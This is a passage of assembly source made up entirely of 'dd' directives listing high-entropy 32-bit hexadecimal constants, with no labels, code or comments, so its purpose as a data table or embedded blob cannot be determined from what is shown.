0FCFC2521h, 18905D7Ah, 66A46540h dd 1B9F6020h, 2CF65066h, 0D0AB58ABh, 0ABD099F7h, 0C952D6B7h dd 1796775h, 0F8E9FB29h, 0FBF67AC5h, 70C3F310h, 0C780CF00h dd 0FE8859F5h, 0D2539F5Bh, 2C31B502h, 0BBE05577h, 0F7827AA6h dd 4B4B118Eh, 0C6A7640Eh, 91AEF3E2h, 0B9E2BF85h, 926CE47Ah dd 3F3D0A0Eh, 1A02E44h, 676F79CAh, 2F9B2C6Ah, 505C04EDh dd 978DAEEh, 0EC54555Ch, 4B05ECEAh, 0C1AB9201h, 598259D4h dd 0E9534C08h, 812F45EBh, 55733A0h, 6E7A0D80h, 554700D0h dd 7BC76851h, 59123F37h, 0AEA197E9h, 0E28EE82Eh, 575C69DFh dd 0BEC017Eh, 3114721Fh, 5009FE2Ah, 0DA5B0BEEh, 7E2F7D7h dd 0FE3DC440h, 6248A982h, 9F44F7C2h, 63B0799Fh, 0B303F51Bh dd 6073D4CFh, 0A45C062Bh, 183E5825h, 0DE728E09h, 0A9FC8231h dd 47FC0922h, 593FA210h, 875FFA07h, 8322B2CAh, 0C3647D54h dd 797CF3EFh, 5CA9DD5Eh, 7B5C9F99h, 8F09C8D5h, 0E695CC4Fh dd 0AEB880EFh, 133251Fh, 3158C784h, 0AF953EBh, 9D3667Dh dd 54E63D39h, 18DD5B97h, 4EB526D8h, 51E8283Bh, 6AF4FDC9h dd 2E874FB4h, 135C31D9h, 6EC3A18Eh, 52681B98h, 34C4F11h dd 74A45231h, 75217FF5h, 0F76E87CAh, 0BE9169F3h, 0D15C561Dh dd 2D4A6809h, 18678DFCh, 0E36EA518h, 0A757D69Fh, 2D7A14F5h dd 38187BDAh, 2C2C5FD9h, 41008F3Dh, 0E917507Ah, 0B5F25E5Dh dd 0F804BCF2h, 0B0CC874Bh, 5A5CD4FEh, 1317341Ch, 0BF5D0AC3h dd 1612BC64h, 60CBBFDBh, 14E5E7Eh, 0C36858B8h, 9D302A3Dh dd 0E00F7Ch, 0F5CD8119h, 0E952C076h, 2642EA30h, 7B951ADh dd 56113346h, 0D569D541h, 0B36282BFh, 0BB382278h, 3A0EB14Fh dd 0A67EEA4Ah, 3C1D1572h, 16AB0788h, 3E2C5C5Dh, 95B9B205h dd 0F1517576h, 3B0E8801h, 0E9825FB6h, 0EBC9CAABh, 84B523F2h dd 89EFF7DDh, 872D2026h, 3180859Ch, 0BF7D121Bh, 4D6A055Ah dd 0FC0EE944h, 0E14A5C47h, 0A357E65Bh, 18DF2563h, 6F3B53D5h dd 7C82BC64h, 0E5B8014Fh, 6B3FEA3Dh, 67C402E0h, 72568DF3h dd 0A9D41FFBh, 0D032D053h, 8F21B67Dh, 56224842h, 8A0F7C29h dd 0E9410C44h, 896F9BAAh, 0E02AE03Ch, 0F00979Ah, 0BF60277Ah dd 2595E4B1h, 9047010Eh, 4C312424h, 302B7994h, 907B3D88h dd 6981819Dh, 0E02B6711h, 161630B5h, 62E571D4h, 635D0802h dd 0A4EE9547h, 922A68F0h, 51142A63h, 3EF5595Ah, 68E70408h dd 250BF221h, 2B27ACFFh, 5AE1F455h, 4B65A4BDh, 7F3584Eh dd 0FA5E1F95h, 0C831F621h, 0E9087A28h, 6805EC85h, 53D828CBh dd 550640F3h, 441E2BFCh, 29F96EE5h, 1508136Dh, 0A291398h dd 96FB72B4h, 0FB0BAA86h, 5AE52552h, 0EEA80912h, 0B1BDDCA4h dd 0CC302213h, 88538203h, 42DD92E3h, 1C495C2Eh, 0D60F40BAh dd 0CCE28149h, 66E73716h, 2ADAE01h, 9F404B7Fh, 2091D4C4h dd 6AE729FDh, 406B7C99h, 0B7F3F86Ah, 56B0316Ch, 0CC742D01h dd 0C121F9D6h, 0A85A1067h, 0D45027CBh, 0CE11F20Ch, 9A5DD668h dd 0AFE5D71Eh, 0DCB85080h, 9F751220h, 611875F8h, 0B5D6438Dh dd 5E562522h, 711C4D7Ch dd 642DA060h, 4BD60B66h, 0C974CA01h, 38EE6E04h, 4B8BE2A0h dd 5F36318Ch, 0BD173BB2h, 126214AEh, 0B8D7FF5Dh, 56317ECAh dd 0EDE71D16h, 5009DC8Bh, 0BEE05D04h, 5AF01620h, 2505989Fh dd 0D4F97EBAh, 3E2D3288h, 0A16F2800h, 0D7F28127h, 3E057B13h dd 2DD9E208h, 830C0474h, 0E2C66FA5h, 265F254Bh, 899885Dh dd 108C4E3Dh, 0E63838E9h, 867DFB4Eh, 74D0040h, 50096072h dd 67DE0B5Dh, 0A3DE6ECh, 0F73D1745h, 0FB21DF0h, 89C552EAh dd 26825E2Bh, 3C6C16B9h, 71FD0BCh, 1C3C7BE5h, 50672502h dd 0CCE95C02h, 8B2DDC93h, 0FD30305Bh, 3C589668h, 0DB6BDBD6h dd 4E39DE8h, 0B44AECD6h, 0F0BAE894h, 989A2328h, 70BE0D00h dd 623507DCh, 3CDB04EDh, 0D9495D68h, 0E4F80233h, 32659E57h dd 0E011C645h, 2D583BCCh, 4CEB1DE7h, 705F00Ah, 0F506C225h dd 4577FECAh, 2277AF3Dh, 4B11598h, 0EC121B20h, 749DFB56h dd 83ECE02Bh, 89C4E19h, 5FC22D62h, 0A0FC3316h, 0F00A3568h dd 3218F502h, 521EE082h, 8FB68094h, 766295EEh, 44CDFE0Eh dd 0FD1B205Dh, 0FCB5CF90h, 0C0D7E291h, 60C9030Bh, 5FAB7CFEh dd 45F2D322h, 0A487AE95h, 4B1A4DB3h, 0AE57AF4Ch, 55688FE1h dd 45BBB67Fh, 0CD48F005h, 0AA55850Bh, 94BF321h, 0FB8E7D86h dd 99D5D349h, 0DD325DB1h, 0A50B482Fh, 0CB9DF9h, 0EE7EDF4Bh dd 0F0D49D1Dh, 46BC4465h, 8DF8805Eh, 0A170B151h, 10D659EEh dd 0E2CD42Ch, 62B7E92Eh, 0C467AE12h, 75E08FB2h, 13BD4A59h dd 21FBD818h, 0C24B8419h, 68F0D97Dh, 56302E2h, 0BFC2109Dh dd 20083788h, 0BF32F9Dh, 0E4C7B813h, 0DF290FA6h, 778FCBCBh dd 74A299B0h, 67E398B7h, 0E811CBECh, 0EF583D56h, 251F1265h dd 50D4A070h, 0F4910675h, 7BB55107h, 12E530B3h, 945729D0h dd 14B4DA9Bh, 7CBE5357h, 1217097Eh, 0A6E926E9h, 0A438BF4Bh dd 14B65Ch, 0E7C017B7h, 0FBE68005h, 0E164F7E6h, 0C2A971EAh dd 0BF376D05h, 7E078079h, 454B9008h, 0E80F2B8h, 31AB5AA8h dd 4F5CD774h, 0BDF5375Ah, 0DD4AE59Eh, 0DC0A7FD2h, 835025CEh dd 96EA0127h, 4B6817E4h, 431A36Bh, 19E54E48h, 212F2A80h dd 20417526h, 0F728761Ch, 5E3AE2D8h, 295C89BCh, 273C45F0h dd 0A4B444D0h, 0DD59CDC2h, 6F12B747h, 0BD5AF8E0h, 0B7827C62h dd 0AED64C03h, 0B8E97240h, 293B1B6h, 42A662ACh, 6EC4A6C0h dd 5A79EF4Ch, 0FDC513EAh, 9883E714h, 0D3CD0047h, 5B5D5355h dd 0FF51ED83h, 3A3941C0h, 60D2FD28h, 140C4671h, 6E4A2AE2h dd 8B3F17E4h, 8018EA26h, 27BDF28Ch, 6E502801h, 0A1A656B5h dd 0C389CBB7h, 0A8A8B5D3h, 2A253EE5h, 0D448C2F9h, 725E3C38h dd 60221420h, 226801AEh, 78FF334Fh, 93638A24h, 227E2AC2h dd 23D95B03h, 702BE962h, 5A5D7676h, 0AF601343h, 52658401h dd 0EAD83FB2h, 1D12C03Eh, 99E9D128h, 99DFAB2h, 4BBAD9DFh dd 4C8E0057h, 0B531376Ch, 0AB75EFA9h, 0CEA8043h, 9474015Fh dd 7E0F61EFh, 0CC4A307Fh, 0B8286154h, 44425000h, 380E0D51h dd 642760C8h, 48F526FFh, 0E14CE917h, 73955341h, 0DB407581h dd 29C17FFCh, 1DC4255h, 6F33E0F2h, 94146B7Eh, 295E7FBAh dd 255082E6h, 721D13B8h, 0FC7612EFh, 43FCA5ECh, 0A918B0B5h dd 24AEE35Eh, 0B025AB6Ah, 0B3244BFEh, 2D2414FDh, 22C52CBAh dd 52EB74ADh, 303B7A79h, 66F3F553h, 0E00D6042h, 512B7586h dd 12FB80A0h, 58643424h, 0AD06C103h, 1782205h, 33324267h dd 0E9610400h, 0B76EE3F8h, 2F02234Bh, 0C05D10B8h, 0BB75682h dd 9BFDCEE5h, 762DC995h, 501EE536h, 0F3F9C954h, 0C1163D73h dd 0ACF26246h, 9E1F00Ah, 50D1F704h, 76009AD5h, 9A266217h dd 2418D20Ch, 16E5EEDFh, 5B9E85Bh, 22AB700Bh, 264980BEh dd 2FBD7BF8h, 0AF9B20F2h, 2AE9B349h, 1B54451h, 0C58072B5h dd 97D5F63Eh, 2309400Ah, 4F3FF6ADh, 0A9D69704h, 899A27D9h dd 5000092Fh, 5A7C9E83h, 0ECF7EC6Ah, 48BF09AAh, 56005B1Ch dd 0B43A1FCFh, 0D9E93209h, 9EA1512Eh, 80C7932Ch, 7B93686Dh dd 16CABCA8h, 92BEDAB1h, 0FFE61235h, 0D9944170h, 60A32F5Fh dd 0C3D1ACD6h, 159877E9h, 4371C069h, 6783878h, 0B16EFC5Bh dd 358B7F61h, 283069CFh, 0D90D48A0h, 2591E947h, 0EF22842Ah dd 4E7F0CF3h, 0AAF48474h, 0CD25D9A3h, 295E6980h, 83A15BDFh dd 0E455020Ah, 751120F0h, 6EF85951h, 587F0522h, 0F1B80E8Fh dd 310B6E15h, 7756D010h, 0E9E4DE0Ch, 7289275Ah, 20573CDAh dd 839AFDCBh, 0F5BBEE5h, 6F88C50Ah, 0E5E872E6h, 0E01A60FDh dd 325C0410h, 0F903257Fh, 745AB2E6h, 9D1714B8h, 0AFF7B4E2h dd 50DA762Fh, 0D6372797h, 0FEDE32DFh, 0C8700C2Bh, 630BED33h dd 5017443Dh, 976397Eh, 0BD1FE997h, 91D72449h, 4CEDB00Ch dd 0DF68BFBDh, 0F2836C29h, 56A6A0DFh, 13746855h, 967B842h dd 0D72FCCF8h, 46571765h, 0AB97C9Fh, 6229B802h, 75487B41h dd 401755E8h, 0D713BE2Fh, 0AD0F180Bh, 7FABB197h, 979FEBB2h dd 0F34CD036h, 0F8956042h, 3D32C9Ch, 45292F48h, 0D75AAB57h dd 33A6836Dh, 70B3E958h, 0E76EE1D5h, 2EF87D02h, 5EF201E1h dd 1740CB2Fh, 0A3EC649Eh, 0A723E2E7h, 7BC082A0h, 0FCC24B8Ch dd 7F0FB0F2h, 977938Bh, 0AFD674h, 6F6C399Fh, 7C16412Dh dd 41BF7A9Dh, 4462D79Dh, 52E44023h, 6425A719h, 0E9A35745h dd 0C7EDB3F5h, 644529D2h, 5E980581h, 4078C867h, 60C0E90Ch dd 4725091Ah, 3197651Ch, 2BDDFFCh, 0EEB640ADh, 0AD7C408h dd 0C44EFC2Fh, 5D02F043h, 3BE1EA31h, 8FC3ABAh, 9309DE81h dd 3FF4052h, 5B90D8F7h, 4EBDD54Eh, 0FF081912h, 0A63ADB29h dd 6971174Fh, 4214C8Ah, 0D0305232h, 0EC014F81h, 0BB53B008h dd 0E72B1F57h, 71EB017Bh, 3125A8B5h, 47007FC8h, 0EBE0652h dd 3349043h, 95A5EF8h, 41D5F6E9h, 4C1E7BA3h, 6B04E966h dd 27D9D314h, 0B4BD8042h, 25298439h, 89DF5AD3h, 1665555Bh dd 0E50BBBA6h, 8BB9D7DFh, 48A77E54h, 36F916C4h, 20D98C2Eh dd 0BF7F8148h, 79EA3D05h, 0E513D7F7h, 0E9E58E1h, 8A92BC87h dd 3619D054h, 1958F418h, 6E3702F5h, 63E93921h, 4C7510E7h dd 48B40A9h, 0F633D095h, 0CE069D39h, 84F2C35Ch, 3139215Bh dd 27422EF9h, 0C55A2625h, 6D3268E8h, 0D8931F58h, 3DDBE1Fh dd 7C47C13h, 5E489E1h, 3586E5BFh, 0AA046EA7h, 5E009A4Bh dd 9706FC05h, 28B12B5Ah, 17F9E024h, 0F41E027Bh, 0D0F09019h dd 0A5B524C9h, 91D95691h, 18CAAC2Ah, 0F843D5EBh, 5F5C042Bh dd 0D2352305h, 2D66F88h, 0CDFA310Ch, 8682B55Fh, 5E116856h dd 0B84EC678h, 3A80F419h, 2D1AC8EBh, 885D572Ah, 0A62108B2h dd 7AA35C69h, 0A473E7FFh, 897C879h, 0BF0E4035h, 5F3FC561h dd 0E7A4E0FBh, 0F002C809h, 21AE66Fh, 0EBFA1068h, 38DC5A9Fh dd 0BB8FE904h, 137DA7AAh, 99AABF3Ah, 4BC16B96h, 4124F23Fh dd 7C590DAh, 3B442B32h, 0E5A2E34Bh, 4ABE2A06h, 3C0A12Eh dd 50E3AEEEh, 9D7389B4h, 0FA65A009h, 2DCBC14Dh, 1F0C8EFFh dd 0D332B503h, 5C6B929h, 0B884FF8h, 6D45A51Dh, 94FB0207h dd 0E9080258h, 0F7B012Fh, 98A57C1Dh, 0B95DC884h, 4B906B58h dd 438270D4h, 0CB77C1C1h, 0E5ED9E8Eh, 0BFD94225h, 10395791h dd 0BBB4CB28h, 132E8CD9h, 888AFF82h, 3D045C52h, 0EB0CBE4Dh dd 0C059D9Dh, 3B7E7081h, 4CF0EF05h, 0BCFA5F5Ah, 0BB87E5CAh dd 0BA33ABh, 28F72C1Ch dd 81B652D0h, 0BCCE8009h, 0C7FF8EC0h, 0CC9EA7E6h, 0BD061207h dd 7F46F07h, 45967CEh, 4E598BF0h, 463BB4A1h, 0D546B0EAh dd 28A0EE01h, 5759732Fh, 0E951F441h, 2674D3CDh, 0D4584109h dd 8DA64D8Bh, 0D11EE910h, 0F1885B0Fh, 5560B114h, 136DDDC6h dd 64FE086Dh, 0F25A0802h, 3BA4B14h, 80C5FE9Dh, 0EAFA1E93h dd 20281655h, 584F9B53h, 0D72970C2h, 3768C121h, 1D278A0Ch dd 5E2569EFh, 28F442D0h, 4CBE5602h, 5CED0248h, 0F3016C05h dd 5E170808h, 4CD4AB01h, 0CE434D27h, 0E1F5487Dh, 35955F30h dd 505E1878h, 4D208780h, 6E22F1B8h, 15580840h, 935EE952h dd 4C050577h, 0FE101591h, 0F5879284h, 49D5B10h, 0C202ECC1h dd 3E7FA112h, 915A6FC0h, 3B2F7E82h, 1BA50C00h, 0D362E1BDh dd 0CD297717h, 422E60A6h, 0D70580BEh, 684AA841h, 91717E2Ah dd 0D74CF2Ch, 76E85D7Ah, 5D8AAA7Bh, 0EB0B9666h, 7CEC44B8h dd 5B20218h, 1F55003h, 4CE1E92Ch, 0E0181C34h, 0E8675A1Dh dd 0EFC81053h, 0C2D6404Bh, 7D8527F4h, 7641F898h, 0D007CA2Fh dd 218071BBh, 0BEE8EEF9h, 60BD0230h, 20C06F5Bh, 0BF80C68Dh dd 7624127Dh, 4DDC024Bh, 845DB359h, 1618C9D7h, 613D1BAAh dd 85C19817h, 7826F5EFh, 0BE304B57h, 96F2E200h, 7F347C23h dd 0A78995E9h, 0A7CBEDF7h, 6560D271h, 162E96Eh, 42BBBF57h dd 89293649h, 548109C6h, 0E75DF252h, 0A5490834h, 92BD027h dd 4AC4707Ah, 146A77Ch, 0C132B083h, 0FB4D3C10h, 0C5F16AC1h dd 0FFE93708h, 7D814A34h, 0E00A12F6h, 189F0028h, 29C8255Eh dd 867FC09Fh, 3CED97BDh, 631AF52Fh, 0D72C9A57h, 6DDF028Bh dd 0C839AFAh, 4D56A257h, 80715DC1h, 0D19973Ch, 0D2E1A3C9h dd 2D0F9268h, 194214E6h, 9040D029h, 26253E3Bh, 0CB5FC03h dd 464AE48Ch, 2807D2DCh, 5BC26848h, 0E32AF2D6h, 0EC0CF8C0h dd 1C3C03C1h, 0F90135D4h, 88BE9F2h, 0BFC0FD7Ch, 4EC97BECh dd 0BE9C857Eh, 3B0AA710h, 2C0C3C59h, 0D80AD15Ah, 3C280705h dd 7363081Fh, 42350E7h, 187F42CBh, 4EB08035h, 6AEDEE54h dd 80BB7316h, 0CF0C1298h, 0E94CC962h, 71B56FEh, 82A7CA80h dd 0BAA6B533h, 0BF0BB2D9h, 7D0D866Ah, 0DA004FE5h, 0E967E668h dd 9B5BA15h, 6DBDF105h, 11EC6B82h, 975B4BE4h, 43E2AB12h dd 94271CC4h, 2F45EDBDh, 0A7715E29h, 81CC546Bh, 0EC9FFEh dd 7F0EC3BAh, 1A9908Ch, 14D74FE7h, 59F537E9h, 0A52B61EBh dd 9165110h, 5350A3D5h, 681359A6h, 35EB4CEDh, 859EB9BDh dd 70E4E6E9h, 0B45897DAh, 0B057AB0Fh, 0C3E7C579h, 94888495h dd 30AA4019h, 882E47BFh, 0BF0064F8h, 8D13DB8h, 38FE07BEh dd 51315113h, 64E657E9h, 7F707294h, 0E1CCD4BDh, 50862EE9h dd 0D552D8BAh, 876910B8h, 27FA522Fh, 25E51E96h, 1216894Ah dd 5BD7CAFBh, 399C6081h, 0AC6A7592h, 4E344A2Eh, 512C5AF3h dd 973C1C9Eh, 37A822h, 319550D0h, 832D90E9h, 0AE1FEBE4h dd 0E40ACECFh, 0BF5708h, 76FF15EBh, 0E74B80E9h, 0B3A3ED1h dd 0F1E27D96h, 0C3297AEEh, 0DD6EA07Bh, 75CC655Ah, 0C02140CAh dd 6807EA05h, 24A80AA6h, 75E928C3h, 0F2885F2Eh, 0FF10412Dh dd 176FBFC3h, 0E91B2001h, 312E39E5h, 2AD07777h, 0EA167B41h dd 126A4673h, 131BFB15h, 272E4BB1h, 2D58DA95h, 6F41FFF4h dd 0AC6EDB41h, 34493282h, 97905DCAh, 68055356h, 25554B41h dd 7343F00Eh, 0D1DF73B8h, 0E9C04406h, 0E4E205Bh, 0E34CE5EFh dd 8B5B36EFh, 0A5423831h, 5000CC7Dh, 470A96B8h, 9E4016E1h dd 0F690A312h, 6145AB1h, 0ACEBBE68h, 99EEAE85h, 0F01418B5h dd 0C581802Ah, 0E2694E0h, 1D094F43h, 0F4827719h, 0B35DC25Dh dd 0ECC25A72h, 12B9A74Ah, 0D7F66159h, 24215530h, 4BF59CAh dd 0F87A9868h, 5827C01Ah, 0FF311DD3h, 0BC8B9143h, 0B1C38001h dd 0F16BB30h, 0B72888EBh, 32F391AFh, 0D6F700EDh, 81E650D1h dd 565F1F46h, 13DBCD0Eh, 0C4F22F46h, 4866650h, 12A643Fh dd 8DBC0D9h, 185EFC16h, 1D40CAB0h, 817EA417h, 1C0213F7h dd 0B50C9F67h, 8011F10Fh, 0D747C1E7h, 0C530C04Eh, 29EA1F3Eh dd 6715519Fh, 5B59C101h, 0BCC23058h, 78798B7h, 9CD9B7BEh dd 5DAD642h, 78CA4489h, 805C0147h, 587801EDh, 0AF8EF512h dd 0D816301Ch, 0A3AE60ABh, 0CD6027E9h, 0EDB6F2F1h, 0A1A44E8Dh dd 8A84F8F8h, 5313F3A4h, 8FA83B73h, 9A410707h, 76E5C00Eh dd 502D0869h, 30AC7F52h, 0CE13F5EEh, 0B7A188A9h, 6ED8F53Ah dd 0FE96E582h, 5983A5Dh, 64BD0AA1h, 3F910206h, 7724EE01h dd 0C8AE9D69h, 0F9EA7EE4h, 56CB1E5Dh, 7241DEDFh, 595B5E38h dd 0A93442Eh, 0D0680469h, 2DFF2C94h, 96AD3FBBh, 0C6620A8Bh dd 0DC7C127Fh, 0E4BAC3Dh, 2F0F6121h, 311E6C4Dh, 0E31F9E55h dd 0DA4827CAh, 0A2CF6E0Ch, 5F2370B6h, 50F0A0F3h, 474BCDFAh dd 45747831h, 6882436Ch, 55A1179Eh, 0CD7920BDh, 8B83753Fh dd 5B3C2A5Ch, 128FA615h, 9B39FB59h, 1DBDD489h, 0D42F2359h dd 20DA0BB3h, 5C1AE259h, 0ADD0293h, 5FEA2209h, 2DF6807Dh dd 58F11465h, 528D304h, 13029207h, 0F63B9368h, 8BAA9247h dd 53941717h, 0E9B040BDh, 22B5D179h, 66BA38EFh, 2CB207A1h dd 0D30BB050h, 0EE8452B7h, 9DC7A4D8h, 9D802350h, 0C34BE9DFh dd 7E84E4A8h, 6D00FFB8h, 6F2066AAh, 19E85C31h, 7413A125h dd 5A8706BDh, 0D20B4E51h, 54C5E536h, 6784250Ch, 3066EE1Bh dd 41A0399h, 2CD0286Dh, 9391C9A7h, 5F9E6C4Dh, 680B048Eh dd 30D4112Ch, 0CD26055Bh, 0FE56AE5Fh, 8147E94h, 8AAFD761h dd 815C003Eh, 9F4BE0CBh, 53A9983Bh, 5F58A18Eh, 0CF639930h dd 42307EC2h, 76D56E63h, 1A2179Ah, 58104FAh, 372D00EBh dd 972F5795h, 0F9A4E30Fh, 6029090Fh, 8AE106F6h, 0FBA1EC57h dd 0F8484E5h, 0FA5B66F8h, 0A3C4CFA2h, 95B91230h, 6101FD1Ah dd 0CA2DE540h, 6F001A75h, 1873B405h, 6521E934h, 0FBC575B8h dd 0BE56F640h, 5C2C1480h, 60052F7Fh, 0C06AB003h, 4427D13Bh dd 2E4B4B58h, 928BB4A7h, 85D2B04Ah, 591AC9D9h, 0D5EEE2F5h dd 5177704Ah, 55E9C144h, 4A32A56h, 0EEED35DCh, 0F9E953B4h dd 0FBD2132Eh, 0A06FF579h, 96B7D254h, 0DB5C20A3h, 2C88B807h dd 0C1A3788Ch, 0C245024Eh, 65EB1EACh, 5D16C6C0h, 0CC09DE30h dd 59051308h, 0AD4E9B54h, 1D83B38h, 2DDD3548h, 3BD446AAh dd 41631340h, 7F21EE01h, 4064ADE9h, 6EAB0B68h, 19882C17h dd 0EE2996EFh, 79EA2002h, 0EBBE8031h, 4B112D5Fh, 0F87B355Ah dd 2F18509Dh, 332918B5h, 0C7568245h, 524C031Eh, 0EC6D188h dd 1AEEFB31h, 6D81B096h, 90DAF041h, 0B9F345AAh, 0B1AA1700h dd 0A022ECFFh, 0CCED3BE1h, 0D82E4985h, 114F51ECh, 17C66EA9h dd 0F1B70A89h, 1605EBAAh, 5006A4BDh, 0D0F0475Eh, 650692B4h dd 0C05838FFh, 3527EDA5h, 0D2F70E18h, 905507DEh, 2A034171h dd 0B8C1D7E2h, 305465DFh, 0D25ADA72h, 0C0C937ACh, 40F1DD62h dd 44619662h, 8E43C02h, 0F9CA712Fh, 0F5FC080Bh, 88B56E58h dd 6C2CC1E8h, 7AA7D5CFh, 7BDE2CDFh, 4F3D1CF9h, 0F8F60A84h dd 2084190h, 625099CAh, 29309190h, 0A7C58952h, 95789764h dd 844D568h, 0ABAEE906h, 0B1E60727h, 0B4629B7Ch, 0EBC6D468h dd 22352CEh, 0CBACEDACh, 4C0DD900h, 0A231E968h, 0A264DD3Fh dd 90600BEh, 975A3D59h, 0C05263D6h, 72AFD5h, 0B9517107h dd 626F18F1h, 59CF091Eh dd 90EA5656h, 750BAC2h, 68BF12F0h, 1038CA1Eh, 2C35FE24h dd 643DA5C6h, 0E3FE5AF6h, 902F2EB5h, 0C048B98Eh, 4BE3752h dd 6AAC274Dh, 0BA0379D4h, 188DC949h, 72A08062h, 283C81B4h dd 599898FCh, 25712E41h, 0FD19BBh, 3020C9ACh, 0D1753C54h dd 490416E2h, 61B09C80h, 41606BF4h, 5A46C910h, 0A80B4BEEh dd 0FD0196F7h, 63917445h, 0BFD3F02Ah, 28E06016h, 4011F3B0h dd 0DF0CB633h, 605EEC0h, 0C6800206h, 0B9C7E9DBh, 0F7D9205Dh dd 59E5BAB2h, 0B77D0F89h, 167F4E42h, 615CB1F0h, 82E31CE9h dd 2827B710h, 0EA24C0EFh, 26D995B9h, 372659CBh, 63BE405Eh dd 0D52DE932h, 2FA6DA6Fh, 0BB64E482h, 0D36132FCh, 25B1EEAFh dd 0F6D854EDh, 0BE111280h, 76550102h, 7A6E6A21h, 8050794h dd 38EA348Bh, 96608480h, 0D4C1C6D5h, 9629489Eh, 68505E30h dd 4B39FD04h, 806C101h, 44C00A0Ch, 9972BA3h, 60767A9Eh dd 0FE90F552h, 90B5E879h, 0D79B67ABh, 6513BACAh, 4F5F34A0h dd 92FE6A9h, 57D476h, 1C252B53h, 0DAF7242Ah, 0A003135Eh dd 4E13E2F5h, 53032D23h, 0B0E1B850h, 405366Eh, 1CBD6C3h dd 0E093AE29h, 0DE3291BBh, 0E5AE02Eh, 13BA3140h, 69A01F6h dd 8395466Fh, 842DC595h, 0D0C073E9h, 0F36A9839h, 1627417Ah dd 6B36D179h, 0FC693EFCh, 685580FBh, 4A560257h, 3FFD5D5Eh dd 4D3C6906h, 0D2040C2Ch, 0E9B12154h, 526156FFh, 0E5881426h dd 30623513h, 91685AACh, 12AADB95h, 5E794B51h, 0B7F861D4h dd 3AB0BFCFh, 11ABEE73h, 1230BBCDh, 6125E953h, 0A4C54F3Ah dd 15416134h, 0A28A0172h, 2F40687Eh, 8403AFCh, 0DE892DE9h dd 0ECC7395Dh, 16675DDAh, 0E9C82181h, 0DD6E6CAAh, 323EEC58h dd 0BF556082h, 95577E10h, 5A5B2F52h, 248189D9h, 22310FA6h dd 0FEDE7F4Ah, 2D45AE4Bh, 7600A6C9h, 717B6364h, 0D5F7264Dh dd 175803B3h, 0D1C30A5Fh, 654C6076h, 46CD4E8Dh, 2E7F8000h dd 0A8474B59h, 4634912h, 632136F1h, 0C00875C2h, 48626603h dd 0C702CC4Ah, 0F1CEB017h, 316040FFh, 0D5948CDh, 0AD1F0E00h dd 2456E91Dh, 471930A0h, 0F767A825h, 26082D08h, 0BC6B086Eh dd 3DDA6804h, 2F5B5298h, 79E2942Fh, 0C0F21F58h, 738CEA4Ch dd 0CA3B4473h, 26F202C1h, 0E1F7B753h, 68005856h, 953D39E4h dd 88482FE8h, 4358B70h, 6331BACh, 0DEA844B0h, 22012D26h dd 29159E46h, 74405E8h, 3E88BEC7h, 586CDD2Ch, 38498EE9h dd 463309B7h, 0AF00FD12h, 74843504h, 2D715B01h, 0F07F17B0h dd 9BDD093Ah, 81A9EDF3h, 1667F5E9h, 2F46D312h, 0BF9A9918h dd 0D2056F05h, 0C55D015Eh, 21D20B09h, 41AF6D73h, 5D027BE6h dd 597801D5h, 0D82F5852h, 474B2969h, 27E99798h, 24E6E478h dd 730C845h, 0ABE75A08h, 33C3EB77h, 2D3400D8h, 529D08DBh dd 551C801h, 0A42C7C07h, 0E987CCBAh, 0B17CC5Eh, 23ACABFh dd 0E0E9525Ch, 0C20CF47Eh, 3B6C45DDh, 5C62D22Dh, 1F7EE976h dd 5C987D7Ah, 0A48BB53h, 0C1400371h, 9AE906EBh, 6BC3DC49h dd 793B79A7h, 0E412B579h, 582549ACh, 0F7391A4Ch, 0F86882E1h dd 5DC0E96Bh, 2E2565F0h, 8510FD98h, 0B5AC09B2h, 0B0BA6420h dd 6B501F3Ch, 0AE5B16D1h, 5490119Dh, 946809DFh, 8282F71Eh dd 0D206752Dh, 349C79D6h, 42697F6h, 1333A1A0h, 0C5F8510Eh dd 0D2FB7582h, 0AC48A0CFh, 7B1778BFh, 0AB8167E3h, 903B4733h dd 0A708901Eh, 6A2D1F25h, 2D88F06Ah, 0A0FEF18Ah, 4839FD40h dd 64F0B80Eh, 42CEDBEh, 8704A067h, 0F1F1EBD6h, 0B21623ECh dd 11C30081h, 0E281454Ah, 0F704175Bh, 0C45DE92Bh, 416EEAB4h dd 10F530CAh, 0FCC05341h, 1FEC3080h, 885BC306h, 0C720E364h dd 7FEE8907h, 4F2072E9h, 279B5B23h, 5F02914h, 19904007h dd 53E89E4Fh, 2D213499h, 0FEA80D8Ch, 0E3010ACBh, 447B2750h dd 16AF5457h, 0C5EA040Fh, 0E0BAFE9Ah, 26707EF5h, 90CA7EE1h dd 0B8704E4Eh, 476A4E92h, 0EFB18FE5h, 165B3EA4h, 0F86F3D74h dd 67C63010h, 79FC2FC5h, 70896258h, 6C74113Fh, 52EB36B4h dd 98BE065Ch, 0CA0C51D8h, 4C170B11h, 17BD60D6h, 77F39AC3h dd 0F0019E2Ch, 3E9CA84h, 0B75A21A0h, 0EFEFB0FCh, 2E8853DEh dd 74DD3D3Ch, 89209794h, 0B2CE1785h, 50568BB6h, 71BB0CA5h dd 0A2362F17h, 5FF72B40h, 0D274ACD0h, 165C1AFBh, 36896B63h dd 75E9E82Ah, 9E8A7940h, 0D5434BE1h, 81B4FBF1h, 0BF94C277h dd 136FCAB8h, 9F950122h, 0DA1CBE73h, 4E8C6F5h, 4739761Eh dd 0FED9AA31h, 0BDE27420h, 0D2E962Bh, 0C7A3BF89h, 5FDBFD01h dd 0A33828EEh, 29FA4F99h, 0C9E7F882h, 0F7726897h, 267CBD5Eh dd 0DFCC8162h, 0A5F60D22h, 3F92D1FDh, 1F2668FEh, 4EAD0F82h dd 0D3420167h, 9B400682h, 1B7A90E1h, 0DA8AF82Ah, 1696287Ah dd 0BD602C58h, 2119E8C0h, 0C927D99Dh, 0B69BEFCh, 0CEA95713h dd 0E94189F4h, 61339E22h, 5DFEBB01h, 3B313BA1h, 0DC3E18F9h dd 1168F961h, 0C7252A34h, 79312910h, 0C4E9F909h, 7179909Bh dd 0ED29EE67h, 261ADFF0h, 274E4E10h, 0B97788C6h, 1510D18h dd 4EAEF2A0h, 0B0EDACFEh, 5B705290h, 5F65EB01h, 0E9BD42FFh dd 374AC235h, 3DEA5BC0h, 72E341Fh, 5FB0D552h, 0BF799758h dd 892FE6C3h, 0E855B5Fh, 0BA0261A6h, 67D8801h, 0C73059EEh dd 5C02FF94h, 209BE4D5h, 801A99B8h, 820620F3h, 0E188E361h dd 0F7021E1Ch, 54C60EC9h, 78A304B5h, 11CB1E20h, 9305D8Fh dd 94B551F6h, 0F0DE9D15h, 223E5359h, 0F95D5BC5h, 51E984B9h dd 278AEE17h, 0FEA31185h, 0EA00E7CDh, 2BA3888h, 2C67BE01h dd 20F76973h, 8FAF68Bh, 